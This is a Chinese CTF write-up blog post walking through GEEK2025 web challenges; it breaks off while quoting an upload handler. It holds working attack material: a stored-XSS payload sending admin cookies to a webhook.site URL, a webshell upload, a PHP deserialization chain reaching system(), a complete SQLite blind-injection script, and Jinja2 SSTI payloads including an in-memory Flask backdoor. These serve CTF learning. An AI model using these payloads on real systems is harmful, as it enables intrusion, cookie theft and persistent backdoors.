14337 字
72 分钟
GEEK2025web

现在是对GEEKweb复现的初步整理(包含了复现步骤和少部分知识点,详细的知识点整理完后也会放到博客上)

week1#

阿基里斯追乌龟#

这个认为最简单的方法就是抓包然后更改base64就好

Expression#

关于JWT的题目,很重要的入门砖就是JWT.io这个应用,极便利地对页面JWT token进行解码和编码。 该题复现: 在注册之后,可通过1.抓包查看 2.F12网络 中查看页面注册信息的token,然后放到JWT.io当中,尝试常用的密钥secret,解码成功。然后切换到编码页面,将users那里可以修改为admin,然后将获得的token在yakit/bp当中修改发送,发现页面变化了,admin显示到了页面上,这时就可以开始考虑XSS或者SSTI。wp中写的有一条响应头,我记得是X-Powered-By: Express,但是没有看到,所以按照测试的方法展开。

{{7*7}} //欢迎,{{7*7}} ! 没被渲染
<%=7*7%> //欢迎,49 ! 成功渲染,说明是SSTI而非XSS。并且得知是EJS引擎

接下来就是EJS引擎的模板注入,查询EJS的环境变量就好<%=process.env.LFAG%> 得到flag:SYC{LMAO}

# 知识总结
1. 密钥爆破工具hashcat的使用——>打开:cmd切换到D:\hashcat密钥\hashcat-7.1.2
hash -a 0 -m 16500 'token' ~(密码字典路径)
// -a 0 :攻击模式 //-m 16500 :哈希类型JWT(JSON Web Token),专门破解 JWT 的签名密钥
2. EJS模板注入的基本套路,查询环境变量的语法
3. Express 常搭配用的模板引擎有 EJS(ExpressJS 最常用的模板引擎)、Pug、、Handlebars 等
<%= 7*7 %> // EJS | #{7*7} // Pug | {{7*7}} // Handlebars

Vibe SEO#

提示说后台扫描,发现/sitemap.xml(结构化的站点地图,一张写给爬虫看的导航图)

This XML file does not appear to have any style information associated with it. The document tree is shown below.
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url>
<loc>http://localhost/</loc>
<changefreq>weekly</changefreq>
</url>
<url>
<loc>http://localhost/aa__^^.php</loc> //提示
<changefreq>never</changefreq>
</url>
</urlset>

/aa__.php

Warning: Undefined array key "filename" in /var/www/html/aa__^^.php on line 3
Deprecated: strlen(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/html/aa__^^.php on line 3
Warning: Undefined array key "filename" in /var/www/html/aa__^^.php on line 4
Deprecated: readfile(): Passing null to parameter #1 ($filename) of type string is deprecated in /var/www/html/aa__^^.php on line 4
Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/aa__^^.php:4 Stack trace: #0 /var/www/html/aa__^^.php(4): readfile('') #1 {main} thrown in /var/www/html/aa__^^.php on line 4

可以看到filename参数,那么就/aa__^^.php?filename=aa__^^.php页面全白,ctrl U查看源码

<?php
$flag = fopen('/my_secret.txt', 'r');
if (strlen($_GET['filename']) < 11) {
readfile($_GET['filename']);
} else {
echo "Filename too long";
}

有长度限制,小于11,但是/my_secret.txt>11,所以需要找替代。再读一下源码,fopen已经将/my_secret.txt打开了,赋给了flag,然后还没有关闭,所以需要短路径、文件描述符来查看 有两种:1. /proc/self/fd/N 2. /dev/fd/N 第一个还是有点长,使用的第二个,flag在第13 SYC{LMAO}

# 知识总结
1. 对于后台扫描工具的使用
2. 了解结构化的站点地图,一张写给爬虫看的导航图指的是sitemap.xml
3. 两种文件描述符:/proc/self/fd/N /dev/fd/N
/proc:linux特有的伪文件系统,存储当前运行进程的内核状态和信息(并非真实磁盘文件,而是内存数据的映射)
self:指向当前进程的 PID 目录
fd/N: fd目录下以数字命名的符号链接
/dev: 设备文件目录,存放系统硬件 / 虚拟设备的映射
fd/N: /proc/self/fd/<N>的兼容性软链接(Linux 下),部分类 Unix 系统(如 macOS、BSD)原生支持/dev/fd,无需依赖/proc伪文件系统
应用场景:
1.查看进程已打开的文件
2.复用已打开的文件

Xross The Finish Line#

打开是一个留言板,随便输入个数字1,点击提交,发现出现在下边,可以开始考虑XSS或者SSTI,然后输入一些模板验证的式子,发现直接出现在留言板上,说明没做处理,还有一个更直接的方法,点击报告给管理员,页面跳转显示管理员将会查看留言板,说明我留言的内容被存储起来了,存储型XSS,也就排除了SSTI const blacklist = ["script", "img", " ", "\n", "error", "\"", "'"]

<script>alert(1)</script> //提交,显示非法内容,说明有内容被拦截了
<script> </script> //非法内容,说明<script>标签被拦截了
alert(1) //出现在留言板上,未被拦截
------使用替代的标签-------
<img> <svg> <body> <video> <input> //都测试了一遍,只有<img>被拦截了

用未被过滤的任何一个就可以 然后存储型XSS,将flag发送到webhook或者通过服务器监听获得 在这之前,先把可能会拦截字符等给测试一遍

"'","""," ","换行" //这些是我测试出来被禁用拦截的
<svg/onload=fetch(`https://webhook.site/d9d9e344-71ae-43bd-9ce7-464f39111da3/a?=`+document.cookie)></svg> //使用了webhook,将flag写入cookie,然后点击提交,报告给管理员,再去往webhook页面,看到flag

[报告给管理员.png] <svg/onload=fetch(https://webhook.site/d9d9e344-71ae-43bd-9ce7-464f39111da3/a?=+document.cookie)> //解释一下这个payload 标签拦截,使用svg标签,onload触发JS代码执行,= 把后边的fetch()绑定到onload事件上,fetch发送请求,url:接收服务器的url,a:自定义路径,? 添加参数,= 参数的占位符,document.cookie 存储页面cookie //对于这个的构造的分析,尽量写细了,拆开了说的

# 知识总结
1. 存储型XSS
2. flag外带,使用服务器监听或者webhook

one_last_image#

第一次接受文件上传时,并没有什么特别的感觉,因为独属于我的waf,我早已部署。再见了,所有的一句话木马。 Can you give me one last shell?

选择文件,可选择项很少,删去accept验证,然后上传一个一句话木马,显示waf,抓包将php标签改为=,成功发送,最后有一段服务器文件路径,页面访问,变白,然后蚁剑连接,使用虚拟终端,输入指令 env | grep “FLAG” 成功找到flag [one_last_image.png]

# 知识总结
1. 标签过滤及其替换
2. 蚁剑的连接和使用
3. env | grep "FLAG"

popself#

有同学跟我说他只会做一个类的php反序列化题,那来试试看

做完大体的思路就是: 利用 PHP 反序列化 → 触发 __destruct() → 用 md5 弱比较绕过 → 触发 __set() → 利用可调用属性 → 进入 __invoke() → 执行 system(“env”)

$payload = $_GET["24_SYC.zip"];
if (isset($payload)) {
unserialize($payload);
}

唯一可控的就是payload,只能“被动地”让 PHP 自动调用魔术方法,也就是现在只能从payload下手 先整理一下该题代码中的魔术方法以及用途顺序

魔术方法用途
__destruct()主入口(第一关)
__set()第二跳
__call()条件校验
__invoke()最终执行
__toString()中转
因为__destruct()在对象销毁时自动执行,所以unserialize($payload);之后脚本结束,__ destruct ()一定会触发,看一下__destruct()的代码
    public function __destruct(){
        echo "你能让K4per和KiraKiraAyu组成一队吗<br>";
        if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
            if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
                die("boys和而不同<br>");
            }
            if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
                echo "BOY♂ sign GEEK<br>";
                echo "开启循环吧<br>";
                $this->QYQS->partner = "summer";
            }
            else {
                echo "BOY♂ can`t sign GEEK<br>";
                echo md5(md5($this->KiraKiraAyu))."<br>";
                echo md5($this->K4per)."<br>";
            }
        }
        else{
            die("boys堂堂正正");
        }
}

为避免die,所以必须避开===不能相等,然后下一步的==必须触发,所以在这里的目标就是要让KiraKiraAyu和K4per的md5值相同而原值不同,也就是简单的md5了,之后进入$this->QYQS->partner = "summer";由于partner这个属性在类中并不存在,所以会自动触发魔术方法__set($name, $value)

public function __set($name, $value){
        echo "他还是没有忘记那个".$value."<br>";
        echo "收集夏日的碎片吧<br>";
        $fox = $this->Fox;
        if ( !($fox instanceof All_in_one) && $fox()==="summer"){
            echo "QYQS enjoy summer<br>";
            echo "开启循环吧<br>";
            $komiko = $this->komiko;
            $komiko->Eureka($this->L, $this->sleep3r);
        }
}

在开始陷入了一个很简单的问题上if ( !($fox instanceof All_in_one) && $fox() === "summer" ) { 这一行的作用究竟是什么,乍一看光将注意力放在了===上,理解成了fox要等于summer,但仔细一看就能发现,这实际上是把 把”fox"当成一个函数调用,然后判断它的返回值是不是"summer"。所以`__set`这一块的**逻辑**就通了:如果Fox 不是 All_in_one 对象,并且Fox 作为函数执行后,返回 "summer",那么继续往下走 在逻辑明确之后,现在第二块的**目标**也就明确了,那问题就落在了: <u>什么样的fox可以被写成fox(),而且返回值是”summer” 回想PHP中什么能被当作函数调用:1.字符串函数名。(但在这里并不适用,因为这是借函数名调用已有函数,而这里是要让fox的返回值等于summer)2.匿名函数(反序列化基本不能直接构造闭包,所以也排除)3.数组 callable(适合,写法如下)

$fox = ["ClassName", "method"];
$fox(); // 等价于 ClassName::method()

好,采用数组的方法去让$fox的返回值等于summer,回看代码,发现出题人已经将答案写出来了

class summer {
    public static function find_myself(){
        return "summer";
    }
}

也就是说:$fox = ["summer", "find_myself"]; 所以接下来就进入到了 $komiko->Eureka($this->L, $this->sleep3r);这一步 但是发现,在最开始的class all_in_one里并不存在Eureka这个方法,所以就触发了__call()这个魔术方法,看一下__call()的这个方法

    public function __call($method, $args){
        if (strlen($args[0])<4 && ($args[0]+1)>10000){
            echo "再走一步<br>";
            echo $args[1];
        }
        else{
            echo "你要努力进窄门<br>";
        }
    }
}

看到__call()应该立刻想到三点

1. 哪个对象能触发 __call?
2. 调用的方法名是什么?(可控吗)
3. $args 能塞什么?能不能类型欺骗?

第一点前面已经有了,第二点调用的方法$method,但是可不可控不重要,没用到,第三点回到 $komiko->Eureka($this->L, $this->sleep3r);,所以说$args[0] = $this->L; $args[1] = $this->sleep3r; 而且这俩都完全可控。 然后看代码条件:strlen($args[0]) < 4 // 当成字符串 ($args[0] + 1) > 10000 // 当成数字 ——经典解:2e4 ,通过判断之后echo $args[1]; 因为$args[1] = $this->sleep3r;,所以说此时$args[1] = $this->sleep3r; 这时因为echo 一个对象,所以自动调用了该对象的__toString() 方法(被当成字符串使用),也就是来到了

public function __tostring(){
echo "再走一步...<br>";
$a = $this->_4ak5ra;
$a();
}

$a 是从 $_4ak5ra 这个属性里获取的,而 $a() 是一个函数调用,因此 _4ak5ra 必须是一个可以作为函数调用的对象。回顾前面,我们已经知道 _4ak5ra 是通过反序列化设置的,它的值可以是一个实现了 __invoke() 方法的对象。也就是说,我们可以在 payload 里反序列化一个对象,并且该对象的 __invoke() 方法将被触发。

public function __invoke(){
echo "恭喜成功signin!<br>";
echo "welcome to Geek_Challenge2025<br>";         $f = $this->Samsāra;
$arg = $this->ivory;
$f($arg);

__call 中确定了 args[1] (即 $this->sleep3r) 会触发 __toString。 所以,$this->sleep3r 是一个 All_in_one 的对象。接下来就是在 $this->sleep3r 这个对象内部,给_4ak5ra 属性赋另一个 All_in_one 的对象。 这样流程就变成了: 外部触发 sleep3r__toString__toString 内部执行 $this->_4ak5ra()。 因为 _4ak5ra 是一个 All_in_one 对象,所以触发了它内部的 __invoke。 在那个内部对象里,我们控制 Samsāraivory 来执行命令。 所以poc就是

<?php
class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory; // 这里的初始值不重要,会被覆盖
public $L;
}
// 1. 初始化最外层对象
$a = new All_in_one();
// 2. 绕过 __destruct 的 MD5 校验
// 注意:这里需要两个字符串,它们满足:
// is_string为真,且 md5(md5($a)) == md5($b) (弱比较):
$a->KiraKiraAyu = "s155964671a"; // md5(md5(...)) starts with 0e
$a->K4per = "s214587387a"; // md5(...) starts with 0e
// 3. 触发 __set 中的逻辑
// $this->QYQS->partner = "summer" 不存在,触发 __set
// 可以在 __destruct 里看到它调用了 $this->QYQS->partner
$a->QYQS = new All_in_one();
// 4. 绕过 __set 中的校验
// 需要 $fox() === "summer"
$a->QYQS->Fox = ["summer", "find_myself"]; // 数组回调
// 5. 准备触发 __call
// __set 中调用了 $komiko->Eureka(...)
// 这里的 $komiko 需要是 All_in_one 对象以触发 __call
$a->QYQS->komiko = new All_in_one();
// 6. 准备 __call 的参数以通过校验并触发 __toString
// 参数0: $this->L (需要是 '2e4' 这种形式)
// 参数1: $this->sleep3r (这将被 echo,触发 __toString)
$a->QYQS->L = "2e4";
$a->QYQS->sleep3r = new All_in_one(); // 这个对象将执行 __toString
// 7. 触发 __invoke
// 在 sleep3r 的 __toString 中,执行了 $this->_4ak5ra()
// 所以 _4ak5ra 必须是一个对象
$a->QYQS->sleep3r->_4ak5ra = new All_in_one(); // 最内层对象
// 8. 设置 RCE 参数
// 在最内层对象的 __invoke 中执行 $f($arg)
$a->QYQS->sleep3r->_4ak5ra->Samsāra = "system"; // 函数名
$a->QYQS->sleep3r->_4ak5ra->ivory = "env"; // 命令参数
// 生成 Payload
echo urlencode(serialize($a));
?>

上述内容放到exp.php文件里,然后终端php exp.php出现长段乱码字符串,复制,题目页面 ?24[SYC.zip=一长串乱码字符串然后出现flag SYC{Round_And_r0und_LMAO}

week2#

Sequal No Uta#

SQLite Ma U

提示里已经说了是SQL,然后输入内容测试一下,发现只有两种反应:该用户存在且活跃 以及 未找到用户或已停用,所以说需要盲注 用一下1’ or ‘1’=‘1,会显示非法输入,说明对一些内容进行了拦截,不过测试之后发现并没有对字符进行限制,那就是对空格进行了拦截限制,1’or’1’=‘1去掉空格,就显示用户存在且活跃了。

import sys
import asyncio
import aiohttp
# ================= 配置区域 =================
# 题目 URL (通常接口是 check.php,如果不是请修改)
BASE_URL = "http://80-4d535d7f-46d0-4a16-af85-84623d85aca5.challenge.ctfplus.cn/check.php"
# 成功时的关键字 (根据你的描述)
SUCCESS_MARK = "该用户存在且活跃"
# 并发数 (过大会导致 503 或 WAF 封锁,20 比较稳)
SEMA = asyncio.Semaphore(20)
# ===========================================
async def fetch(session, payload: str) -> bool:
"""发送请求并判断 True/False"""
params = {'name': payload}
async with SEMA:
try:
async with session.get(BASE_URL, params=params, timeout=10) as resp:
text = await resp.text()
return SUCCESS_MARK in text
except Exception as e:
# 网络超时重试一次
return False
async def get_length(session, query_payload: str) -> int:
"""探测目标数据长度"""
sys.stdout.write(f"[*] Detecting length... ")
sys.stdout.flush()
# 逻辑: admin'AND(length((QUERY))=N)--
# 限制空格绕过: 用括号包裹
for length in range(1, 60):
payload = f"admin'AND(length(({query_payload}))={length})--"
if await fetch(session, payload):
print(f"[{length}]")
return length
print("Not Found (or > 60)")
return 0
async def binary_search_char(session, query_payload: str, pos: int) -> str:
"""二分法查找单个字符"""
low, high = 32, 126 # 可打印字符范围
while low <= high:
mid = (low + high) // 2
# 逻辑: admin'AND(unicode(substr((QUERY),pos,1))>mid)--
# 注意: SQLite 使用 unicode(), MySQL 使用 ascii()
sql = f"admin'AND(unicode(substr(({query_payload}),{pos},1))>{mid})--"
if await fetch(session, sql):
low = mid + 1
else:
high = mid - 1
return chr(low)
async def dump_data(session, query_payload: str, label: str):
"""提取数据主流程"""
print(f"--- Dumping {label} ---")
length = await get_length(session, query_payload)
if length == 0:
return
sys.stdout.write(f"[+] {label}: ")
sys.stdout.flush()
result = ""
for i in range(1, length + 1):
char = await binary_search_char(session, query_payload, i)
result += char
sys.stdout.write(char)
sys.stdout.flush()
print("\n")
return result
async def main():
print(f"Target: {BASE_URL}")
async with aiohttp.ClientSession() as session:
# 第一步:获取所有表名
# Payload: select(group_concat(name))from(sqlite_master)where(type='table')
table_query = "select(group_concat(name))from(sqlite_master)where(type='table')"
tables = await dump_data(session, table_query, "Tables")
# 如果第一步没跑出来,或者你想直接跑特定表,修改下面:
if tables and 'users' in tables:
# 第二步:获取 users 表的列名
col_query = "select(group_concat(name))from(pragma_table_info('users'))"
await dump_data(session, col_query, "Columns (users)")
# 第三步:获取 users 表里的 secret 或 flag (假设列名是 secret)
# 你需要根据第二步跑出来的列名,修改下面的 'secret'
data_query = "select(group_concat(secret))from(users)"
await dump_data(session, data_query, "Data (secret)")
# 如果表名是 'flag' (CTF常见情况),取消下面注释:
# if tables and 'flag' in tables:
# col_query = "select(group_concat(name))from(pragma_table_info('flag'))"
# await dump_data(session, col_query, "Columns (flag)")
# data_query = "select(group_concat(flag))from(flag)"
# await dump_data(session, data_query, "Data (flag)")
if __name__ == '__main__':
if sys.platform == 'win32':
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
asyncio.run(main())

[挨个盲注那题.png]

ez_read#

规矩二蛊都抱怨起来:“人啊,我们老早就告诉过你。我们的名字你最好一个人知晓,不要让其他存在知道。否则我们就要为别的存在所用了。 现在好了吧,智慧蛊已经知道了我们的名字,事情麻烦了。”

/etc/passwd查看系统配置文件 /proc/self/cmdline查看当前进程的完整命令行 //python3app.py /proc/self/environ查看当前进程的环境变量信息

KUBERNETES_SERVICE_PORT=449KUBERNETES_PORT=1449HOSTNAME=dep-f50e98f3-dedf-4bff-bac7-c622cf03ef27-7c4984479f-xmsl5OLDPWD=/opt/___web_very_strange_42___PYTHONUNBUFFERED=1GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DPYTHON_SHA256=8d3ed8ec5c88c1c95f5e558612a725450d2452813ddad5e58fdb1a53b1209b78PYTHONDONTWRITEBYTECODE=1HINT=用我提个权吧KUBERNETES_PORT_443_TCP_ADDR=unix:///var/run/docker.sockPATH=/usr/local/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binKUBERNETES_PORT_443_TCP_PORT=1449KUBERNETES_PORT_443_TCP_PROTO=LANG=C.UTF-8PYTHON_VERSION=3.11.14KUBERNETES_PORT_443_TCP=KUBERNETES_SERVICE_PORT_HTTPS=449KUBERNETES_SERVICE_HOST=unix:///var/run/docker.sockPWD=/opt/___web_very_strange_42___HOME=/opt/___web_very_strange_42___ //有个提示:HINT=用我提个权吧

最后的内容直接表明源文件路径/opt/___web_very_strange_42___,然后加上前面cmdline出来的文件名,拼成/opt/___web_very_strange_42___/app.py读取到源码

from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
import os
app = Flask(__name__, template_folder="templates", static_folder="static")
app.secret_key = "key_ciallo_secret"
USERS = {}
def waf(payload: str) -> str:
print(len(payload))
if not payload:
return ""
if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")
return payload
@app.route("/")
def index():
user = session.get("user")
return render_template("index.html", user=user)
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = (request.form.get("username") or "")
password = request.form.get("password") or ""
if not username or not password:
return render_template("register.html", error="用户名和密码不能为空")
if username in USERS:
return render_template("register.html", error="用户名已存在")
USERS[username] = {"password": password}
session["user"] = username
return redirect(url_for("profile"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = (request.form.get("username") or "").strip()
password = request.form.get("password") or ""
user = USERS.get(username)
if not user or user.get("password") != password:
return render_template("login.html", error="用户名或密码错误")
session["user"] = username
return redirect(url_for("profile"))
return render_template("login.html")
@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("index"))
@app.route("/profile")
def profile():
user = session.get("user")
if not user:
return redirect(url_for("login"))
name_raw = request.args.get("name", user)
try:
filtered = waf(name_raw)
tmpl = f"欢迎,{filtered}"
rendered_snippet = render_template_string(tmpl)
error_msg = None
except Exception as e:
rendered_snippet = ""
error_msg = f"渲染错误: {e}"
return render_template(
"profile.html",
content=rendered_snippet,
name_input=name_raw,
user=user,
error_msg=error_msg,
)
@app.route("/read", methods=["GET", "POST"])
def read_file():
user = session.get("user")
if not user:
return redirect(url_for("login"))
base_dir = os.path.join(os.path.dirname(__file__), "story")
try:
entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
except FileNotFoundError:
entries = []
filename = ""
if request.method == "POST":
filename = request.form.get("filename") or ""
else:
filename = request.args.get("filename") or ""
content = None
error = None
if filename:
sanitized = filename.replace("../", "")
target_path = os.path.join(base_dir, sanitized)
if not os.path.isfile(target_path):
error = f"文件不存在: {sanitized}"
else:
with open(target_path, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()
return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=False)

上来就是render_template_string,SSTI中易受攻击的后端的一个标志,且根据waf中的禁用考虑到SSTI。重点看waf现在

def waf(payload: str) -> str:
print(len(payload))
if not payload:
return ""
if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")
return payload

长度限制114/514——>规矩二蛊 看到关键词限制就知道该字符串拼接, 加上当前进程的环境变量信息中的用我提个权吧的提示 SSTI+suid提取 然后通过源码中的

@app.route("/profile")
def profile():
user = session.get("user")
if not user:
return redirect(url_for("login"))
name_raw = request.args.get("name", user)
try:
filtered = waf(name_raw)
tmpl = f"欢迎,{filtered}"
rendered_snippet = render_template_string(tmpl)
error_msg = None
except Exception as e:
rendered_snippet = ""
error_msg = f"渲染错误: {e}"
return render_template(
"profile.html",
content=rendered_snippet,
name_input=name_raw,
user=user,
error_msg=error_msg,
)

确定注入点url/profile?name= 然后将payload的长度加到514

{{(config|attr('__cla'~'ss__')|attr('__init__')|attr('__glo'~'bals__'))['os'].popen('/usr/local/bin/env /bin/cat /flag').read()}}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

官方wp中使用了内存马的打法

{{(()["__cl"+"ass__"]["__b"+"ase__"]["__subcl"+"asses__"]()[104].__init__ | attr('__glo'+'bals__')).__builtins__.exec("__imp"+"ort__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__imp"+"ort__('os').popen(__imp"+"ort__('flask').request.args.get('ivory')).read());'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'")}}

{{(()["__cl"+"ass__"]["__b"+"ase__"]["__subcl"+"asses__"]()[104].__init__ | attr('__glo'+'bals__')).__builtins__.exec(...)}}
//前半部分是为了突破沙箱,获取执行任意 Python 代码的能力
__import__('sys').modules['__main__'].__dict__['app']
//exec内部导入sys模块,查看已加载的模块列表 `modules`。定位到 __main__(主程序),并从中提取名为app的对象。
.before_request_funcs.setdefault(None, []).append(lambda :__imp"+"ort__('os').popen(__imp"+"ort__('flask').request.args.get('ivory')).read())
//植入内存马,

ez_seralize#

简单的读文件?

seralize应该是serialize的少写版,说明这道题目应该会涉及序列化与反序列化。 抓包发现后端php index.php读到源码

<?php
ini_set('display_errors', '0');
$filename = isset($_GET['filename']) ? $_GET['filename'] : null;
$content = null;
$error = null;
if (isset($filename) && $filename !== '') {
$balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];
foreach ($balcklist as $v) {
if (strpos($filename, $v) !== false) {
$error = "no no no";
break;
}
}
if ($error === null) {
if (isset($_GET['serialized'])) {
require 'function.php'; //function.php
$file_contents= file_get_contents($filename); //关键代码
if ($file_contents === false) {
$error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
} else {
$file_contents = file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
}
}
} else {
$error = null;
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>File Reader</title>
<style>
:root{
--card-bg: #ffffff;
--page-bg: linear-gradient(135deg,#f0f7ff 0%,#fbfbfb 100%);
--accent: #1e88e5;
--muted: #6b7280;
--success: #16a34a;
--danger: #dc2626;
--card-radius: 12px;
--card-pad: 20px;
}
html,body{height:100%;margin:0;font-family: Inter, "Segoe UI", Roboto, "Helvetica Neue", Arial;}
body{
background: var(--page-bg);
display:flex;
align-items:center;
justify-content:center;
padding:24px;
}
.card{
width:100%;
max-width:820px;
background:var(--card-bg);
border-radius:var(--card-radius);
box-shadow: 0 10px 30px rgba(16,24,40,0.08);
padding:var(--card-pad);
}
h1{margin:0 0 6px 0;font-size:18px;color:#0f172a;}
p.lead{margin:0 0 18px 0;color:var(--muted);font-size:13px}
form.controls{display:flex;gap:10px;flex-wrap:wrap;align-items:center;margin-bottom:14px}
input[type="text"]{
flex:1;
padding:10px 12px;
border:1px solid #e6e9ef;
border-radius:8px;
font-size:14px;
outline:none;
transition:box-shadow .12s ease,border-color .12s ease;
}
input[type="text"]:focus{box-shadow:0 0 0 4px rgba(30,136,229,0.08);border-color:var(--accent)}
button.btn{
padding:10px 16px;
background:var(--accent);
color:white;
border:none;
border-radius:8px;
cursor:pointer;
font-weight:600;
}
button.btn.secondary{
background:#f3f4f6;color:#0f172a;font-weight:600;border:1px solid #e6e9ef;
}
.hint{font-size:12px;color:var(--muted);margin-top:6px}
.result{
margin-top:14px;
border-radius:8px;
overflow:hidden;
border:1px solid #e6e9ef;
}
.result .meta{
padding:10px 12px;
display:flex;
justify-content:space-between;
align-items:center;
background:#fbfdff;
font-size:13px;
color:#111827;
}
.result .body{
padding:12px;
background:#0b1220;
color:#e6eef8;
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, "Roboto Mono", monospace;
font-size:13px;
line-height:1.5;
max-height:520px;
overflow:auto;
white-space:pre-wrap;
word-break:break-word;
}
.alert{padding:10px 12px;border-radius:8px;font-weight:600;margin-top:12px;}
.alert.warn{background:#fff7ed;color:#92400e;border:1px solid #ffedd5}
.alert.error{background:#fff1f2;color:#9f1239;border:1px solid #fecaca}
.alert.info{background:#ecfeff;color:#064e3b;border:1px solid #bbf7d0}
.footer{margin-top:12px;font-size:12px;color:var(--muted)}
@media (max-width:640px){
.card{padding:16px}
.result .meta{font-size:12px}
}
</style>
</head>
<body>
<div class="card">
<h1>📄 File Reader</h1>
<p class="lead">在下面输入要读取的文件</p>
<form class="controls" method="get" action="">
<input type="text" name="filename" value="<?php echo isset($_GET['filename']) ? htmlspecialchars($_GET['filename'], ENT_QUOTES) : ''; ?>" />
<button type="submit" class="btn">读取文件</button>
<a class="btn secondary" href="">重置</a>
</form>
<?php if ($error !== null && $error !== ''): ?>
<div class="alert error" role="alert"><?php echo htmlspecialchars($error, ENT_QUOTES); ?></div>
<?php endif; ?>
<!--RUN printf "open_basedir=/var/www/html:/tmp\nsys_temp_dir=/tmp\nupload_tmp_dir=/tmp\n" \
> /usr/local/etc/php/conf.d/zz-open_basedir.ini-->
<?php if ($content !== null): ?>
<div class="result" aria-live="polite">
<div class="meta">
<div>文件:<?php echo htmlspecialchars($filename, ENT_QUOTES); ?></div>
<div style="font-size:12px;color:var(--muted)"><?php echo strlen($content); ?> bytes</div>
</div>
<div class="body"><pre><?php echo htmlspecialchars($content, ENT_QUOTES); ?></pre></div>
</div>
<?php elseif ($error === null && isset($_GET['filename'])): ?>
<div class="alert warn">未能读取内容或文件为空。</div>
<?php endif; ?>
</div>
</body>
</html>

//标注了function.php,读取function.php

<?php
class A {
public $file;
public $luo;
public function __construct() {
}
public function __toString() {
$function = $this->luo;
return $function();
}
}
class B {
public $a;
public $test;
public function __construct() {
}
public function __wakeup()
{
echo($this->test);
}
public function __invoke() {
$this->a->rce_me();
}
}
class C {
public $b;
public function __construct($b = null) {
$this->b = $b;
}
public function rce_me() {
echo "Success!\n";
system("cat /flag/flag.txt > /tmp/flag");
}
}

寻找反序列化攻击点 访问robots.txt

User-agent: *
Disallow: /var/www/html/uploads.php

发现了uploads.php

<?php
$uploadDir = __DIR__ . '/uploads/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz'];
$allowedMimes = [
'txt' => ['text/plain'],
'log' => ['text/plain'],
'jpg' => ['image/jpeg'],
'jpeg' => ['image/jpeg'],
'png' => ['image/png'],
'zip' => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'],
'gif' => ['image/gif'],
'gz' => ['application/gzip', 'application/x-gzip']
];
$resultMessage = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
//filename
if ($file['error'] === UPLOAD_ERR_OK) {
$originalName = $file['name'];
$ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
if (!in_array($ext, $whitelist, true)) {
die('File extension not allowed.');
}
$mime = $file['type'];
if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) {
